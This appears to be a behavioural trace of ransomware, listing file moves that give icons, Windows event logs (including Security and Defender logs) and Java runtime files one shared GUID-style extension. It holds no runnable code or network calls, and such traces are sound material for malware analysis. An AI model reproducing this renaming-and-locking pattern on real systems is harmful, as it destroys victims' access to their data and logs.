Move C:\588bce7c90097ed212\Graphics\Rotate5.ico.E5A57CBB-C8F5-8ECD-FBE7-0F42DE6C2FE2 source_filename = C:\588bce7c90097ed212\Graphics\Rotate5.ico True 1
Fn
Move C:\588bce7c90097ed212\Graphics\Rotate6.ico.E5A57CBB-C8F5-8ECD-FBE7-0F42DE6C2FE2 source_filename = C:\588bce7c90097ed212\Graphics\Rotate6.ico True 1
Fn
Move C:\588bce7c90097ed212\Graphics\Rotate7.ico.E5A57CBB-C8F5-8ECD-FBE7-0F42DE6C2FE2 source_filename = C:\588bce7c90097ed212\Graphics\Rotate7.ico True 1
Fn
Move C:\588bce7c90097ed212\Graphics\Rotate8.ico.E5A57CBB-C8F5-8ECD-FBE7-0F42DE6C2FE2 source_filename = C:\588bce7c90097ed212\Graphics\Rotate8.ico True 1
Fn
Move C:\588bce7c90097ed212\Graphics\Save.ico.E5A57CBB-C8F5-8ECD-FBE7-0F42DE6C2FE2 source_filename = C:\588bce7c90097ed212\Graphics\Save.ico True 1
Fn
Move C:\588bce7c90097ed212\Graphics\Setup.ico.E5A57CBB-C8F5-8ECD-FBE7-0F42DE6C2FE2 source_filename = C:\588bce7c90097ed212\Graphics\Setup.ico True 1
Fn
Move C:\588bce7c90097ed212\Graphics\stop.ico.E5A57CBB-C8F5-8ECD-FBE7-0F42DE6C2FE2 source_filename = C:\588bce7c90097ed212\Graphics\stop.ico True 1
Fn
Move C:\588bce7c90097ed212\Graphics\SysReqMet.ico.E5A57CBB-C8F5-8ECD-FBE7-0F42DE6C2FE2 source_filename = C:\588bce7c90097ed212\Graphics\SysReqMet.ico True 1
Fn
Move C:\588bce7c90097ed212\Graphics\SysReqNotMet.ico.E5A57CBB-C8F5-8ECD-FBE7-0F42DE6C2FE2 source_filename = C:\588bce7c90097ed212\Graphics\SysReqNotMet.ico True 1
Fn
Move C:\588bce7c90097ed212\Graphics\warn.ico.E5A57CBB-C8F5-8ECD-FBE7-0F42DE6C2FE2 source_filename = C:\588bce7c90097ed212\Graphics\warn.ico True 1
Fn
Move C:\Logs\Application.evtx.E5A57CBB-C8F5-8ECD-FBE7-0F42DE6C2FE2 source_filename = C:\Logs\Application.evtx True 1
Fn
Move C:\Logs\HardwareEvents.evtx.E5A57CBB-C8F5-8ECD-FBE7-0F42DE6C2FE2 source_filename = C:\Logs\HardwareEvents.evtx True 1
Fn
Move C:\Logs\Internet Explorer.evtx.E5A57CBB-C8F5-8ECD-FBE7-0F42DE6C2FE2 source_filename = C:\Logs\Internet Explorer.evtx True 1
Fn
Move C:\Logs\Key Management Service.evtx.E5A57CBB-C8F5-8ECD-FBE7-0F42DE6C2FE2 source_filename = C:\Logs\Key Management Service.evtx True 1
Fn
Move C:\Logs\Microsoft-Client-Licensing-Platform%4Admin.evtx.E5A57CBB-C8F5-8ECD-FBE7-0F42DE6C2FE2 source_filename = C:\Logs\Microsoft-Client-Licensing-Platform%4Admin.evtx True 1
Fn
Move C:\Logs\Microsoft-Windows-Application-Experience%4Program-Compatibility-Assistant.evtx.E5A57CBB-C8F5-8ECD-FBE7-0F42DE6C2FE2 source_filename = C:\Logs\Microsoft-Windows-Application-Experience%4Program-Compatibility-Assistant.evtx True 1
Fn
Move C:\Logs\Microsoft-Windows-ApplicationResourceManagementSystem%4Operational.evtx.E5A57CBB-C8F5-8ECD-FBE7-0F42DE6C2FE2 source_filename = C:\Logs\Microsoft-Windows-ApplicationResourceManagementSystem%4Operational.evtx True 1
Fn
Move C:\Logs\Microsoft-Windows-AppLocker%4EXE and DLL.evtx.E5A57CBB-C8F5-8ECD-FBE7-0F42DE6C2FE2 source_filename = C:\Logs\Microsoft-Windows-AppLocker%4EXE and DLL.evtx True 1
Fn
Move C:\Logs\Microsoft-Windows-AppLocker%4MSI and Script.evtx.E5A57CBB-C8F5-8ECD-FBE7-0F42DE6C2FE2 source_filename = C:\Logs\Microsoft-Windows-AppLocker%4MSI and Script.evtx True 1
Fn
Move C:\Logs\Microsoft-Windows-AppLocker%4Packaged app-Deployment.evtx.E5A57CBB-C8F5-8ECD-FBE7-0F42DE6C2FE2 source_filename = C:\Logs\Microsoft-Windows-AppLocker%4Packaged app-Deployment.evtx True 1
Fn
Move C:\Logs\Microsoft-Windows-AppLocker%4Packaged app-Execution.evtx.E5A57CBB-C8F5-8ECD-FBE7-0F42DE6C2FE2 source_filename = C:\Logs\Microsoft-Windows-AppLocker%4Packaged app-Execution.evtx True 1
Fn
Move C:\Logs\Microsoft-Windows-AppModel-Runtime%4Admin.evtx.E5A57CBB-C8F5-8ECD-FBE7-0F42DE6C2FE2 source_filename = C:\Logs\Microsoft-Windows-AppModel-Runtime%4Admin.evtx True 1
Fn
Move C:\Logs\Microsoft-Windows-AppReadiness%4Admin.evtx.E5A57CBB-C8F5-8ECD-FBE7-0F42DE6C2FE2 source_filename = C:\Logs\Microsoft-Windows-AppReadiness%4Admin.evtx True 1
Fn
Move C:\Logs\Microsoft-Windows-AppReadiness%4Operational.evtx.E5A57CBB-C8F5-8ECD-FBE7-0F42DE6C2FE2 source_filename = C:\Logs\Microsoft-Windows-AppReadiness%4Operational.evtx True 1
Fn
Move C:\Logs\Microsoft-Windows-AppXDeployment%4Operational.evtx.E5A57CBB-C8F5-8ECD-FBE7-0F42DE6C2FE2 source_filename = C:\Logs\Microsoft-Windows-AppXDeployment%4Operational.evtx True 1
Fn
Move C:\Logs\Microsoft-Windows-AppXDeploymentServer%4Operational.evtx.E5A57CBB-C8F5-8ECD-FBE7-0F42DE6C2FE2 source_filename = C:\Logs\Microsoft-Windows-AppXDeploymentServer%4Operational.evtx True 1
Fn
Move C:\Logs\Microsoft-Windows-AppXDeploymentServer%4Restricted.evtx.E5A57CBB-C8F5-8ECD-FBE7-0F42DE6C2FE2 source_filename = C:\Logs\Microsoft-Windows-AppXDeploymentServer%4Restricted.evtx True 1
Fn
Move C:\Logs\Microsoft-Windows-AppxPackaging%4Operational.evtx.E5A57CBB-C8F5-8ECD-FBE7-0F42DE6C2FE2 source_filename = C:\Logs\Microsoft-Windows-AppxPackaging%4Operational.evtx True 1
Fn
Move C:\Logs\Microsoft-Windows-BackgroundTaskInfrastructure%4Operational.evtx.E5A57CBB-C8F5-8ECD-FBE7-0F42DE6C2FE2 source_filename = C:\Logs\Microsoft-Windows-BackgroundTaskInfrastructure%4Operational.evtx True 1
Fn
Move C:\Logs\Microsoft-Windows-Bits-Client%4Operational.evtx.E5A57CBB-C8F5-8ECD-FBE7-0F42DE6C2FE2 source_filename = C:\Logs\Microsoft-Windows-Bits-Client%4Operational.evtx True 1
Fn
Move C:\Logs\Microsoft-Windows-CodeIntegrity%4Operational.evtx.E5A57CBB-C8F5-8ECD-FBE7-0F42DE6C2FE2 source_filename = C:\Logs\Microsoft-Windows-CodeIntegrity%4Operational.evtx True 1
Fn
Move C:\Logs\Microsoft-Windows-CoreSystem-SmsRouter-Events%4Operational.evtx.E5A57CBB-C8F5-8ECD-FBE7-0F42DE6C2FE2 source_filename = C:\Logs\Microsoft-Windows-CoreSystem-SmsRouter-Events%4Operational.evtx True 1
Fn
Move C:\Logs\Microsoft-Windows-Crypto-DPAPI%4BackUpKeySvc.evtx.E5A57CBB-C8F5-8ECD-FBE7-0F42DE6C2FE2 source_filename = C:\Logs\Microsoft-Windows-Crypto-DPAPI%4BackUpKeySvc.evtx True 1
Fn
Move C:\Logs\Microsoft-Windows-Crypto-DPAPI%4Operational.evtx.E5A57CBB-C8F5-8ECD-FBE7-0F42DE6C2FE2 source_filename = C:\Logs\Microsoft-Windows-Crypto-DPAPI%4Operational.evtx True 1
Fn
Move C:\Logs\Microsoft-Windows-DeviceManagement-Enterprise-Diagnostics-Provider%4Admin.evtx.E5A57CBB-C8F5-8ECD-FBE7-0F42DE6C2FE2 source_filename = C:\Logs\Microsoft-Windows-DeviceManagement-Enterprise-Diagnostics-Provider%4Admin.evtx True 1
Fn
Move C:\Logs\Microsoft-Windows-DeviceSetupManager%4Admin.evtx.E5A57CBB-C8F5-8ECD-FBE7-0F42DE6C2FE2 source_filename = C:\Logs\Microsoft-Windows-DeviceSetupManager%4Admin.evtx True 1
Fn
Move C:\Logs\Microsoft-Windows-DeviceSetupManager%4Operational.evtx.E5A57CBB-C8F5-8ECD-FBE7-0F42DE6C2FE2 source_filename = C:\Logs\Microsoft-Windows-DeviceSetupManager%4Operational.evtx True 1
Fn
Move C:\Logs\Microsoft-Windows-Dhcp-Client%4Admin.evtx.E5A57CBB-C8F5-8ECD-FBE7-0F42DE6C2FE2 source_filename = C:\Logs\Microsoft-Windows-Dhcp-Client%4Admin.evtx True 1
Fn
Move C:\Logs\Microsoft-Windows-Dhcpv6-Client%4Admin.evtx.E5A57CBB-C8F5-8ECD-FBE7-0F42DE6C2FE2 source_filename = C:\Logs\Microsoft-Windows-Dhcpv6-Client%4Admin.evtx True 1
Fn
Move C:\Logs\Microsoft-Windows-Diagnosis-DPS%4Operational.evtx.E5A57CBB-C8F5-8ECD-FBE7-0F42DE6C2FE2 source_filename = C:\Logs\Microsoft-Windows-Diagnosis-DPS%4Operational.evtx True 1
Fn
Move C:\Logs\Microsoft-Windows-Diagnostics-Performance%4Operational.evtx.E5A57CBB-C8F5-8ECD-FBE7-0F42DE6C2FE2 source_filename = C:\Logs\Microsoft-Windows-Diagnostics-Performance%4Operational.evtx True 1
Fn
Move C:\Logs\Microsoft-Windows-GroupPolicy%4Operational.evtx.E5A57CBB-C8F5-8ECD-FBE7-0F42DE6C2FE2 source_filename = C:\Logs\Microsoft-Windows-GroupPolicy%4Operational.evtx True 1
Fn
Move C:\Logs\Microsoft-Windows-HotspotAuth%4Operational.evtx.E5A57CBB-C8F5-8ECD-FBE7-0F42DE6C2FE2 source_filename = C:\Logs\Microsoft-Windows-HotspotAuth%4Operational.evtx True 1
Fn
Move C:\Logs\Microsoft-Windows-Hyper-V-Guest-Drivers%4Admin.evtx.E5A57CBB-C8F5-8ECD-FBE7-0F42DE6C2FE2 source_filename = C:\Logs\Microsoft-Windows-Hyper-V-Guest-Drivers%4Admin.evtx True 1
Fn
Move C:\Logs\Microsoft-Windows-International%4Operational.evtx.E5A57CBB-C8F5-8ECD-FBE7-0F42DE6C2FE2 source_filename = C:\Logs\Microsoft-Windows-International%4Operational.evtx True 1
Fn
Move C:\Logs\Microsoft-Windows-Kernel-Boot%4Operational.evtx.E5A57CBB-C8F5-8ECD-FBE7-0F42DE6C2FE2 source_filename = C:\Logs\Microsoft-Windows-Kernel-Boot%4Operational.evtx True 1
Fn
Move C:\Logs\Microsoft-Windows-Kernel-EventTracing%4Admin.evtx.E5A57CBB-C8F5-8ECD-FBE7-0F42DE6C2FE2 source_filename = C:\Logs\Microsoft-Windows-Kernel-EventTracing%4Admin.evtx True 1
Fn
Move C:\Logs\Microsoft-Windows-Kernel-PnP%4Configuration.evtx.E5A57CBB-C8F5-8ECD-FBE7-0F42DE6C2FE2 source_filename = C:\Logs\Microsoft-Windows-Kernel-PnP%4Configuration.evtx True 1
Fn
Move C:\Logs\Microsoft-Windows-Kernel-Power%4Thermal-Operational.evtx.E5A57CBB-C8F5-8ECD-FBE7-0F42DE6C2FE2 source_filename = C:\Logs\Microsoft-Windows-Kernel-Power%4Thermal-Operational.evtx True 1
Fn
Move C:\Logs\Microsoft-Windows-Kernel-ShimEngine%4Operational.evtx.E5A57CBB-C8F5-8ECD-FBE7-0F42DE6C2FE2 source_filename = C:\Logs\Microsoft-Windows-Kernel-ShimEngine%4Operational.evtx True 1
Fn
Move C:\Logs\Microsoft-Windows-Kernel-StoreMgr%4Operational.evtx.E5A57CBB-C8F5-8ECD-FBE7-0F42DE6C2FE2 source_filename = C:\Logs\Microsoft-Windows-Kernel-StoreMgr%4Operational.evtx True 1
Fn
Move C:\Logs\Microsoft-Windows-Kernel-WHEA%4Errors.evtx.E5A57CBB-C8F5-8ECD-FBE7-0F42DE6C2FE2 source_filename = C:\Logs\Microsoft-Windows-Kernel-WHEA%4Errors.evtx True 1
Fn
Move C:\Logs\Microsoft-Windows-Kernel-WHEA%4Operational.evtx.E5A57CBB-C8F5-8ECD-FBE7-0F42DE6C2FE2 source_filename = C:\Logs\Microsoft-Windows-Kernel-WHEA%4Operational.evtx True 1
Fn
Move C:\Logs\Microsoft-Windows-Known Folders API Service.evtx.E5A57CBB-C8F5-8ECD-FBE7-0F42DE6C2FE2 source_filename = C:\Logs\Microsoft-Windows-Known Folders API Service.evtx True 1
Fn
Move C:\Logs\Microsoft-Windows-LiveId%4Operational.evtx.E5A57CBB-C8F5-8ECD-FBE7-0F42DE6C2FE2 source_filename = C:\Logs\Microsoft-Windows-LiveId%4Operational.evtx True 1
Fn
Move C:\Logs\Microsoft-Windows-MUI%4Admin.evtx.E5A57CBB-C8F5-8ECD-FBE7-0F42DE6C2FE2 source_filename = C:\Logs\Microsoft-Windows-MUI%4Admin.evtx True 1
Fn
Move C:\Logs\Microsoft-Windows-MUI%4Operational.evtx.E5A57CBB-C8F5-8ECD-FBE7-0F42DE6C2FE2 source_filename = C:\Logs\Microsoft-Windows-MUI%4Operational.evtx True 1
Fn
Move C:\Logs\Microsoft-Windows-NCSI%4Operational.evtx.E5A57CBB-C8F5-8ECD-FBE7-0F42DE6C2FE2 source_filename = C:\Logs\Microsoft-Windows-NCSI%4Operational.evtx True 1
Fn
Move C:\Logs\Microsoft-Windows-NetworkProfile%4Operational.evtx.E5A57CBB-C8F5-8ECD-FBE7-0F42DE6C2FE2 source_filename = C:\Logs\Microsoft-Windows-NetworkProfile%4Operational.evtx True 1
Fn
Move C:\Logs\Microsoft-Windows-Ntfs%4Operational.evtx.E5A57CBB-C8F5-8ECD-FBE7-0F42DE6C2FE2 source_filename = C:\Logs\Microsoft-Windows-Ntfs%4Operational.evtx True 1
Fn
Move C:\Logs\Microsoft-Windows-Ntfs%4WHC.evtx.E5A57CBB-C8F5-8ECD-FBE7-0F42DE6C2FE2 source_filename = C:\Logs\Microsoft-Windows-Ntfs%4WHC.evtx True 1
Fn
Move C:\Logs\Microsoft-Windows-Program-Compatibility-Assistant%4CompatAfterUpgrade.evtx.E5A57CBB-C8F5-8ECD-FBE7-0F42DE6C2FE2 source_filename = C:\Logs\Microsoft-Windows-Program-Compatibility-Assistant%4CompatAfterUpgrade.evtx True 1
Fn
Move C:\Logs\Microsoft-Windows-ReadyBoost%4Operational.evtx.E5A57CBB-C8F5-8ECD-FBE7-0F42DE6C2FE2 source_filename = C:\Logs\Microsoft-Windows-ReadyBoost%4Operational.evtx True 1
Fn
Move C:\Logs\Microsoft-Windows-Resource-Exhaustion-Detector%4Operational.evtx.E5A57CBB-C8F5-8ECD-FBE7-0F42DE6C2FE2 source_filename = C:\Logs\Microsoft-Windows-Resource-Exhaustion-Detector%4Operational.evtx True 1
Fn
Move C:\Logs\Microsoft-Windows-SettingSync%4Debug.evtx.E5A57CBB-C8F5-8ECD-FBE7-0F42DE6C2FE2 source_filename = C:\Logs\Microsoft-Windows-SettingSync%4Debug.evtx True 1
Fn
Move C:\Logs\Microsoft-Windows-SettingSync%4Operational.evtx.E5A57CBB-C8F5-8ECD-FBE7-0F42DE6C2FE2 source_filename = C:\Logs\Microsoft-Windows-SettingSync%4Operational.evtx True 1
Fn
Move C:\Logs\Microsoft-Windows-Shell-Core%4ActionCenter.evtx.E5A57CBB-C8F5-8ECD-FBE7-0F42DE6C2FE2 source_filename = C:\Logs\Microsoft-Windows-Shell-Core%4ActionCenter.evtx True 1
Fn
Move C:\Logs\Microsoft-Windows-Shell-Core%4Operational.evtx.E5A57CBB-C8F5-8ECD-FBE7-0F42DE6C2FE2 source_filename = C:\Logs\Microsoft-Windows-Shell-Core%4Operational.evtx True 1
Fn
Move C:\Logs\Microsoft-Windows-SmbClient%4Connectivity.evtx.E5A57CBB-C8F5-8ECD-FBE7-0F42DE6C2FE2 source_filename = C:\Logs\Microsoft-Windows-SmbClient%4Connectivity.evtx True 1
Fn
Move C:\Logs\Microsoft-Windows-SMBClient%4Operational.evtx.E5A57CBB-C8F5-8ECD-FBE7-0F42DE6C2FE2 source_filename = C:\Logs\Microsoft-Windows-SMBClient%4Operational.evtx True 1
Fn
Move C:\Logs\Microsoft-Windows-SmbClient%4Security.evtx.E5A57CBB-C8F5-8ECD-FBE7-0F42DE6C2FE2 source_filename = C:\Logs\Microsoft-Windows-SmbClient%4Security.evtx True 1
Fn
Move C:\Logs\Microsoft-Windows-SMBServer%4Audit.evtx.E5A57CBB-C8F5-8ECD-FBE7-0F42DE6C2FE2 source_filename = C:\Logs\Microsoft-Windows-SMBServer%4Audit.evtx True 1
Fn
Move C:\Logs\Microsoft-Windows-SMBServer%4Connectivity.evtx.E5A57CBB-C8F5-8ECD-FBE7-0F42DE6C2FE2 source_filename = C:\Logs\Microsoft-Windows-SMBServer%4Connectivity.evtx True 1
Fn
Move C:\Logs\Microsoft-Windows-SMBServer%4Operational.evtx.E5A57CBB-C8F5-8ECD-FBE7-0F42DE6C2FE2 source_filename = C:\Logs\Microsoft-Windows-SMBServer%4Operational.evtx True 1
Fn
Move C:\Logs\Microsoft-Windows-SMBServer%4Security.evtx.E5A57CBB-C8F5-8ECD-FBE7-0F42DE6C2FE2 source_filename = C:\Logs\Microsoft-Windows-SMBServer%4Security.evtx True 1
Fn
Move C:\Logs\Microsoft-Windows-Store%4Operational.evtx.E5A57CBB-C8F5-8ECD-FBE7-0F42DE6C2FE2 source_filename = C:\Logs\Microsoft-Windows-Store%4Operational.evtx True 1
Fn
Move C:\Logs\Microsoft-Windows-TaskScheduler%4Maintenance.evtx.E5A57CBB-C8F5-8ECD-FBE7-0F42DE6C2FE2 source_filename = C:\Logs\Microsoft-Windows-TaskScheduler%4Maintenance.evtx True 1
Fn
Move C:\Logs\Microsoft-Windows-TerminalServices-LocalSessionManager%4Admin.evtx.E5A57CBB-C8F5-8ECD-FBE7-0F42DE6C2FE2 source_filename = C:\Logs\Microsoft-Windows-TerminalServices-LocalSessionManager%4Admin.evtx True 1
Fn
Move C:\Logs\Microsoft-Windows-TerminalServices-LocalSessionManager%4Operational.evtx.E5A57CBB-C8F5-8ECD-FBE7-0F42DE6C2FE2 source_filename = C:\Logs\Microsoft-Windows-TerminalServices-LocalSessionManager%4Operational.evtx True 1
Fn
Move C:\Logs\Microsoft-Windows-TerminalServices-RemoteConnectionManager%4Admin.evtx.E5A57CBB-C8F5-8ECD-FBE7-0F42DE6C2FE2 source_filename = C:\Logs\Microsoft-Windows-TerminalServices-RemoteConnectionManager%4Admin.evtx True 1
Fn
Move C:\Logs\Microsoft-Windows-TerminalServices-RemoteConnectionManager%4Operational.evtx.E5A57CBB-C8F5-8ECD-FBE7-0F42DE6C2FE2 source_filename = C:\Logs\Microsoft-Windows-TerminalServices-RemoteConnectionManager%4Operational.evtx True 1
Fn
Move C:\Logs\Microsoft-Windows-TWinUI%4Operational.evtx.E5A57CBB-C8F5-8ECD-FBE7-0F42DE6C2FE2 source_filename = C:\Logs\Microsoft-Windows-TWinUI%4Operational.evtx True 1
Fn
Move C:\Logs\Microsoft-Windows-User Profile Service%4Operational.evtx.E5A57CBB-C8F5-8ECD-FBE7-0F42DE6C2FE2 source_filename = C:\Logs\Microsoft-Windows-User Profile Service%4Operational.evtx True 1
Fn
Move C:\Logs\Microsoft-Windows-UserPnp%4ActionCenter.evtx.E5A57CBB-C8F5-8ECD-FBE7-0F42DE6C2FE2 source_filename = C:\Logs\Microsoft-Windows-UserPnp%4ActionCenter.evtx True 1
Fn
Move C:\Logs\Microsoft-Windows-UserPnp%4DeviceInstall.evtx.E5A57CBB-C8F5-8ECD-FBE7-0F42DE6C2FE2 source_filename = C:\Logs\Microsoft-Windows-UserPnp%4DeviceInstall.evtx True 1
Fn
Move C:\Logs\Microsoft-Windows-VolumeSnapshot-Driver%4Operational.evtx.E5A57CBB-C8F5-8ECD-FBE7-0F42DE6C2FE2 source_filename = C:\Logs\Microsoft-Windows-VolumeSnapshot-Driver%4Operational.evtx True 1
Fn
Move C:\Logs\Microsoft-Windows-Wcmsvc%4Operational.evtx.E5A57CBB-C8F5-8ECD-FBE7-0F42DE6C2FE2 source_filename = C:\Logs\Microsoft-Windows-Wcmsvc%4Operational.evtx True 1
Fn
Move C:\Logs\Microsoft-Windows-Windows Defender%4Operational.evtx.E5A57CBB-C8F5-8ECD-FBE7-0F42DE6C2FE2 source_filename = C:\Logs\Microsoft-Windows-Windows Defender%4Operational.evtx True 1
Fn
Move C:\Logs\Microsoft-Windows-Windows Defender%4WHC.evtx.E5A57CBB-C8F5-8ECD-FBE7-0F42DE6C2FE2 source_filename = C:\Logs\Microsoft-Windows-Windows Defender%4WHC.evtx True 1
Fn
Move C:\Logs\Microsoft-Windows-Windows Firewall With Advanced Security%4ConnectionSecurity.evtx.E5A57CBB-C8F5-8ECD-FBE7-0F42DE6C2FE2 source_filename = C:\Logs\Microsoft-Windows-Windows Firewall With Advanced Security%4ConnectionSecurity.evtx True 1
Fn
Move C:\Logs\Microsoft-Windows-Windows Firewall With Advanced Security%4Firewall.evtx.E5A57CBB-C8F5-8ECD-FBE7-0F42DE6C2FE2 source_filename = C:\Logs\Microsoft-Windows-Windows Firewall With Advanced Security%4Firewall.evtx True 1
Fn
Move C:\Logs\Microsoft-Windows-WinINet-Config%4ProxyConfigChanged.evtx.E5A57CBB-C8F5-8ECD-FBE7-0F42DE6C2FE2 source_filename = C:\Logs\Microsoft-Windows-WinINet-Config%4ProxyConfigChanged.evtx True 1
Fn
Move C:\Logs\Microsoft-Windows-Winlogon%4Operational.evtx.E5A57CBB-C8F5-8ECD-FBE7-0F42DE6C2FE2 source_filename = C:\Logs\Microsoft-Windows-Winlogon%4Operational.evtx True 1
Fn
Move C:\Logs\Microsoft-Windows-WMI-Activity%4Operational.evtx.E5A57CBB-C8F5-8ECD-FBE7-0F42DE6C2FE2 source_filename = C:\Logs\Microsoft-Windows-WMI-Activity%4Operational.evtx True 1
Fn
Move C:\Logs\Security.evtx.E5A57CBB-C8F5-8ECD-FBE7-0F42DE6C2FE2 source_filename = C:\Logs\Security.evtx True 1
Fn
Move C:\Logs\Setup.evtx.E5A57CBB-C8F5-8ECD-FBE7-0F42DE6C2FE2 source_filename = C:\Logs\Setup.evtx True 1
Fn
Move C:\Logs\System.evtx.E5A57CBB-C8F5-8ECD-FBE7-0F42DE6C2FE2 source_filename = C:\Logs\System.evtx True 1
Fn
Move C:\Logs\Windows PowerShell.evtx.E5A57CBB-C8F5-8ECD-FBE7-0F42DE6C2FE2 source_filename = C:\Logs\Windows PowerShell.evtx True 1
Fn
Move C:\Program Files\Java\jre1.8.0_144\COPYRIGHT.E5A57CBB-C8F5-8ECD-FBE7-0F42DE6C2FE2 source_filename = C:\Program Files\Java\jre1.8.0_144\COPYRIGHT True 1
Fn
Move C:\Program Files\Java\jre1.8.0_144\LICENSE.E5A57CBB-C8F5-8ECD-FBE7-0F42DE6C2FE2 source_filename = C:\Program Files\Java\jre1.8.0_144\LICENSE True 1
Fn
Move C:\Program Files\Java\jre1.8.0_144\README.txt.E5A57CBB-C8F5-8ECD-FBE7-0F42DE6C2FE2 source_filename = C:\Program Files\Java\jre1.8.0_144\README.txt True 1
Fn
Move C:\Program Files\Java\jre1.8.0_144\release.E5A57CBB-C8F5-8ECD-FBE7-0F42DE6C2FE2 source_filename = C:\Program Files\Java\jre1.8.0_144\release True 1
Fn
Move C:\Program Files\Java\jre1.8.0_144\THIRDPARTYLICENSEREADME-JAVAFX.txt.E5A57CBB-C8F5-8ECD-FBE7-0F42DE6C2FE2 source_filename = C:\Program Files\Java\jre1.8.0_144\THIRDPARTYLICENSEREADME-JAVAFX.txt True 1
Fn
Move C:\Program Files\Java\jre1.8.0_144\THIRDPARTYLICENSEREADME.txt.E5A57CBB-C8F5-8ECD-FBE7-0F42DE6C2FE2 source_filename = C:\Program Files\Java\jre1.8.0_144\THIRDPARTYLICENSEREADME.txt True 1
Fn
Move C:\Program Files\Java\jre1.8.0_144\Welcome.html.E5A57CBB-C8F5-8ECD-FBE7-0F42DE6C2FE2 source_filename = C:\Program Files\Java\jre1.8.0_144\Welcome.html True 1
Fn
Move C:\Program Files\Java\jre1.8.0_144\bin\server\classes.jsa.E5A57CBB-C8F5-8ECD-FBE7-0F42DE6C2FE2 source_filename = C:\Program Files\Java\jre1.8.0_144\bin\server\classes.jsa True 1
Fn
Move C:\Program Files\Java\jre1.8.0_144\bin\server\Xusage.txt.E5A57CBB-C8F5-8ECD-FBE7-0F42DE6C2FE2 source_filename = C:\Program Files\Java\jre1.8.0_144\bin\server\Xusage.txt True 1
Fn
Move C:\Program Files\Java\jre1.8.0_144\lib\accessibility.properties.E5A57CBB-C8F5-8ECD-FBE7-0F42DE6C2FE2 source_filename = C:\Program Files\Java\jre1.8.0_144\lib\accessibility.properties True 1
Fn
Move C:\Program Files\Java\jre1.8.0_144\lib\calendars.properties.E5A57CBB-C8F5-8ECD-FBE7-0F42DE6C2FE2 source_filename = C:\Program Files\Java\jre1.8.0_144\lib\calendars.properties True 1
Fn
Move C:\Program Files\Java\jre1.8.0_144\lib\charsets.jar.E5A57CBB-C8F5-8ECD-FBE7-0F42DE6C2FE2 source_filename = C:\Program Files\Java\jre1.8.0_144\lib\charsets.jar True 1
Fn
Move C:\Program Files\Java\jre1.8.0_144\lib\classlist.E5A57CBB-C8F5-8ECD-FBE7-0F42DE6C2FE2 source_filename = C:\Program Files\Java\jre1.8.0_144\lib\classlist True 1
Fn
Move C:\Program Files\Java\jre1.8.0_144\lib\content-types.properties.E5A57CBB-C8F5-8ECD-FBE7-0F42DE6C2FE2 source_filename = C:\Program Files\Java\jre1.8.0_144\lib\content-types.properties True 1
Fn
Move C:\Program Files\Java\jre1.8.0_144\lib\currency.data.E5A57CBB-C8F5-8ECD-FBE7-0F42DE6C2FE2 source_filename = C:\Program Files\Java\jre1.8.0_144\lib\currency.data True 1
Fn
Move C:\Program Files\Java\jre1.8.0_144\lib\deploy.jar.E5A57CBB-C8F5-8ECD-FBE7-0F42DE6C2FE2 source_filename = C:\Program Files\Java\jre1.8.0_144\lib\deploy.jar True 1
Fn
Move C:\Program Files\Java\jre1.8.0_144\lib\flavormap.properties.E5A57CBB-C8F5-8ECD-FBE7-0F42DE6C2FE2 source_filename = C:\Program Files\Java\jre1.8.0_144\lib\flavormap.properties True 1
Fn
Move C:\Program Files\Java\jre1.8.0_144\lib\fontconfig.bfc.E5A57CBB-C8F5-8ECD-FBE7-0F42DE6C2FE2 source_filename = C:\Program Files\Java\jre1.8.0_144\lib\fontconfig.bfc True 1
Fn
Move C:\Program Files\Java\jre1.8.0_144\lib\fontconfig.properties.src.E5A57CBB-C8F5-8ECD-FBE7-0F42DE6C2FE2 source_filename = C:\Program Files\Java\jre1.8.0_144\lib\fontconfig.properties.src True 1
Fn
Move C:\Program Files\Java\jre1.8.0_144\lib\hijrah-config-umalqura.properties.E5A57CBB-C8F5-8ECD-FBE7-0F42DE6C2FE2 source_filename = C:\Program Files\Java\jre1.8.0_144\lib\hijrah-config-umalqura.properties True 1
Fn
Move C:\Program Files\Java\jre1.8.0_144\lib\javafx.properties.E5A57CBB-C8F5-8ECD-FBE7-0F42DE6C2FE2 source_filename = C:\Program Files\Java\jre1.8.0_144\lib\javafx.properties True 1
Fn
Move C:\Program Files\Java\jre1.8.0_144\lib\javaws.jar.E5A57CBB-C8F5-8ECD-FBE7-0F42DE6C2FE2 source_filename = C:\Program Files\Java\jre1.8.0_144\lib\javaws.jar True 1
Fn
Move C:\Program Files\Java\jre1.8.0_144\lib\jce.jar.E5A57CBB-C8F5-8ECD-FBE7-0F42DE6C2FE2 source_filename = C:\Program Files\Java\jre1.8.0_144\lib\jce.jar True 1
Fn
Move C:\Program Files\Java\jre1.8.0_144\lib\jfr.jar.E5A57CBB-C8F5-8ECD-FBE7-0F42DE6C2FE2 source_filename = C:\Program Files\Java\jre1.8.0_144\lib\jfr.jar True 1
Fn
Move C:\Program Files\Java\jre1.8.0_144\lib\jfxswt.jar.E5A57CBB-C8F5-8ECD-FBE7-0F42DE6C2FE2 source_filename = C:\Program Files\Java\jre1.8.0_144\lib\jfxswt.jar True 1
Fn
Move C:\Program Files\Java\jre1.8.0_144\lib\jsse.jar.E5A57CBB-C8F5-8ECD-FBE7-0F42DE6C2FE2 source_filename = C:\Program Files\Java\jre1.8.0_144\lib\jsse.jar True 1
Fn
Move C:\Program Files\Java\jre1.8.0_144\lib\jvm.hprof.txt.E5A57CBB-C8F5-8ECD-FBE7-0F42DE6C2FE2 source_filename = C:\Program Files\Java\jre1.8.0_144\lib\jvm.hprof.txt True 1
Fn
Move C:\Program Files\Java\jre1.8.0_144\lib\logging.properties.E5A57CBB-C8F5-8ECD-FBE7-0F42DE6C2FE2 source_filename = C:\Program Files\Java\jre1.8.0_144\lib\logging.properties True 1
Fn
Move C:\Program Files\Java\jre1.8.0_144\lib\management-agent.jar.E5A57CBB-C8F5-8ECD-FBE7-0F42DE6C2FE2 source_filename = C:\Program Files\Java\jre1.8.0_144\lib\management-agent.jar True 1
Fn
Move C:\Program Files\Java\jre1.8.0_144\lib\meta-index.E5A57CBB-C8F5-8ECD-FBE7-0F42DE6C2FE2 source_filename = C:\Program Files\Java\jre1.8.0_144\lib\meta-index True 1
Fn
Move C:\Program Files\Java\jre1.8.0_144\lib\net.properties.E5A57CBB-C8F5-8ECD-FBE7-0F42DE6C2FE2 source_filename = C:\Program Files\Java\jre1.8.0_144\lib\net.properties True 1
Fn
Move C:\Program Files\Java\jre1.8.0_144\lib\plugin.jar.E5A57CBB-C8F5-8ECD-FBE7-0F42DE6C2FE2 source_filename = C:\Program Files\Java\jre1.8.0_144\lib\plugin.jar True 1
Fn
